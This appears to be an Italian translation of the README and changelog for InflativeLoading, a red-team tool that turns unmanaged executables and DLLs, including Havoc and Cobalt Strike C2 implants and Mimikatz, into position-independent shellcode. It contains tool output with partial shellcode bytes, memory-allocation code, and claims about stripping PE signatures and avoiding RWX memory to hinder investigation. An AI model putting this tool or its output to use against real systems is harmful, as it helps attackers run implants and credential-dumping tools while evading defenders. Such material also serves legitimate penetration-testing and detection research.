Tuttavia, a seconda del programma selezionato, l'offuscamento potrebbe non essere compatibile. Dovresti sapere come funziona il programma. Ad esempio, il payload DLL stateless di Havoc non è compatibile con la funzione di offuscamento perché la DLL fa anche uso dell'intestazione PE.

Il payload EXE stageless di Havoc funziona bene con l'offuscamento:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] 3 iterations are needed

[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin

██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝

Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!

[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;

[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes

buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......

Generated shellcode successfully saved in file havocsc.bin

[#] Shellcode located at address 0x1ae8ab70000

[!] PRESS TO EXECUTE SHELLCODED EXE...

4/11/2024 Logica di shellcode migliorata

Ho aggiunto ulteriore logica di shellcode per gestire alcune eccezioni poco comuni. Ad esempio, nel payload DLL stateless di CobaltStrike, alcune voci di rilocazione di base non sono valide perché la RVA della pagina è maggiore della dimensione dell'immagine.

La dimensione dell'immagine è 0x58000.

Tuttavia, alcune RVA sono maggiori di 0x58000.

Inoltre, lo shellcode termina il programma correttamente dopo aver eseguito lo shellcode convertito.

4/11/2024 Dumper PE migliorato

Ora il dumper può visualizzare più informazioni e fornire suggerimenti per l'allocazione della memoria:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);

19/02/2024 Aggiunto Supporto Base per EXE Compresse con UPX

Ho leggermente modificato il codice che corregge l'IAT, perché ho trovato alcune righe di codice non necessarie. Dopo questa modifica, InflativeLoading può eseguire alcuni programmi EXE compressi con UPX, tra cui calc.exe, PsExec. Tuttavia, solo alcuni dei programmi compressi. In primo luogo, probabilmente non testerò tutte le possibili configurazioni di compressione per tutti i programmi testati. Per il secondo motivo, continua a leggere:

Per i programmi che non hanno una directory di import ritardata, InflativeLoading può eseguire le loro versioni compresse con UPX. Tuttavia, a differenza dei programmi decompressi, quelli compressi hanno tutti gli ILT vuoti.

Prendiamo come esempio il normale calc.exe: ILT e IAT sono identici per tutti i moduli.

Ma per il calc.exe compresso con UPX, ILT è vuoto per tutte le voci nella Directory di Import.

Se invece il programma ha una directory di import ritardata, come Mimikatz, la situazione diventa più complessa.

Per il normale mimikatz.exe, la directory di import ritardata è la seguente:

Ma per il mimikatz.exe compresso con UPX, PE Bear non riesce a interpretarlo, né io.

Di seguito un caso di test superato per calc.exe compresso con UPX.

Contesto

Uno dei miei obiettivi è convertire un exe in shellcode. In questo modo, alcuni strumenti di sicurezza come Mimikatz possono essere utilizzati con maggiore flessibilità. Sebbene alcuni strumenti come Donut abbiano già raggiunto questo risultato, voglio comunque creare uno strumento con il mio approccio, e spero possa portare alcuni miglioramenti.

Motivato e ispirato da alcuni strumenti e tecniche classici e moderni, InflativeLoading è uno strumento in grado di convertire dinamicamente un EXE/DLL non gestito in shellcode PIC.

In breve, InflativeLoading genera e prepone uno stub shellcode a un modulo PE principale scaricato.

Lo strumento è composto da DumpPEFromMemory.exe e InflativeLoading.py.

Componenti Inclusi

I seguenti due componenti sono necessari per convertire un file PE non gestito in shellcode.

Progetto DumpPEFromMemory

DumpPEFromMemory.exe viene utilizzato per ottenere la versione in memoria del file PE selezionato.

Per i programmi EXE, funziona creando un processo in stato sospeso e scaricando il modulo principale in un file binario (sulla vostra macchina di sviluppo). Perché? Un tipico processo di caricamento riflessivo mappa ogni sezione di un file PE in una regione di memoria appena allocata. A questo proposito, ho due preoccupazioni: In primo luogo, sebbene i dati di ogni sezione siano fondamentalmente coerenti sia che risiedano su disco sia in memoria, potrebbero comunque esserci alcune differenze per determinati file PE o in circostanze specifiche.```c // Code snippet from Maldev course for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) { memcpy( (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size ); }

E scarica il payload DLL di Havoc dalla memoria:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin

Come usare?

Credo che tu abbia già esaminato entrambi i componenti di InflativeLoading, in sintesi:

1. Usa DumpPEFromMemory.exe per selezionare un file PE non gestito e scaricare il modulo PE principale dalla memoria in un file bin. Fai riferimento alle sezioni Migliori casi d'uso e Problemi noti o limitazioni per informazioni sulla selezione dei file PE.
2. Usa lo script InflativeLoading.py per anteporre uno stub di shellcode al file dump. Puoi scegliere di fornire una riga di comando, offuscarla o meno, e se eseguire immediatamente lo shellcode generato. Attualmente, la riga di comando fornita dall'utente funziona correttamente solo per un piccolo insieme di programmi.

Migliori casi d'uso

Poiché InflativeLoading è in fase iniziale, non tutti gli eseguibili sono ben supportati. Le DLL non gestite sono ben supportate; l'esecuzione della funzione di esportazione arriverà nel prossimo aggiornamento!

✅ Programma console nativo che non si basa su argomenti, come implant C2 senza stage, semplice programma console personalizzato.

✅ Programma console nativo con console/shell interattiva, come Mimikatz.

✅ DLL non gestita

Miglioramenti rispetto a ReflectiveLoader

✔️ Non sono richieste funzioni di esportazione specifiche, rendendolo più adatto a file PE per cui il codice sorgente e la compilazione non sono facilmente accessibili

✔️ Evita risultati indesiderati dovuti a differenze tra il file PE su disco e in memoria in determinati casi

✔️ Elimina la necessità di conversione tra offset del file originale e RVA

✔️ Evita allocazione aggiuntiva di spazio di memoria

✔️ Evita regioni di memoria RWX.

✔️ Anche per regioni di memoria RX, non inizia con la caratteristica MZ, aumentando la difficoltà di indagine.

Capacità

☑️ Supporto per EXE nativo normale

☑️ Supporto per DLL non gestita

☑️ Supporto per EXE/DLL con Directory di importazione ritardata

☑️ Correzione IAT

☑️ Correzione directory di base relocation

☑️ Test superati con programmi classici come calc, mimikatz, PsExec, ecc.

☑️ Test superati con payload C2 classici, come payload DLL/EXE senza stage di CobaltStrike e Havoc.

☑️ Supporto parziale per programmi impacchettati.

Problemi noti o limitazioni

⚠️ Alcuni dei seguenti problemi potrebbero essere risolti in futuro, mentre altri rimangono fuori portata per loro natura.

• La riga di comando fornita non sempre funziona correttamente. È un'area principale su cui mi concentrerò.

• Non funziona bene per programmi GUI, come mspaint.exe. Ma calc.exe funziona bene.

• Non funziona per tutti i programmi impacchettati. Alcuni programmi impacchettati possono essere eseguiti bene, è caso per caso.

• Non funziona per programmi che richiedono altre dipendenze, come DLL personalizzate.

• Supporta solo x64 e non ho intenzione di aggiungere supporto per programmi x86.

Se incontri uno dei problemi o delle limitazioni di cui sopra, l'esecuzione dello shellcode potrebbe crashare, il programma convertito potrebbe non identificare correttamente la riga di comando, oppure potrebbe non esserci alcuna risposta.

Ad esempio, PsExec.exe può essere convertito in shellcode PIC, tuttavia la riga di comando fornita dall'utente non può essere identificata correttamente.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin

<...SNIP...>

Generated shellcode successfully saved in file psexec_merged.bin

[#] Shellcode located at address 0x27159360000

[!] PRESS TO EXECUTE SHELLCODED EXE...

Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation

Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.